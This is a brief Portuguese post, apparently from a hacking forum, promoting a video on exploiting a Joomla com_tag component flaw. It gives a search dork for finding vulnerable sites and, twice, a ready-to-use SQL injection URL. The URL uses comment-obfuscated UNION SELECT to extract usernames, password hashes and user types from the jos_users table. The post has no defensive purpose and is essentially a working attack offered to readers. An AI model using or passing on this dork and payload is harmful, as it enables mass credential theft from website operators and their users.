Nesse video mostro como explorar uma falha no joomla
Dork:inurlption=com_tag
Exploit:/index.php?option=com_tag&controller=tag&task=add&a rticle_id=-1/**//*!union*//**//*!select*//**/concat%28username,0x3a,password,0x3a,usertype%29/**//*!from*//**/jos_users/**/&tmpl=component
Código HTML:
http://www.4shared.com/video/CTwEQMrGce/exploarando_vulnerabilidade_jo.html?
Exploit:/index.php?option=com_tag&controller=tag&task=add&a rticle_id=-1/**//*!union*//**//*!select*//**/concat%28username,0x3a,password,0x3a,usertype%29/**//*!from*//**/jos_users/**/&tmpl=component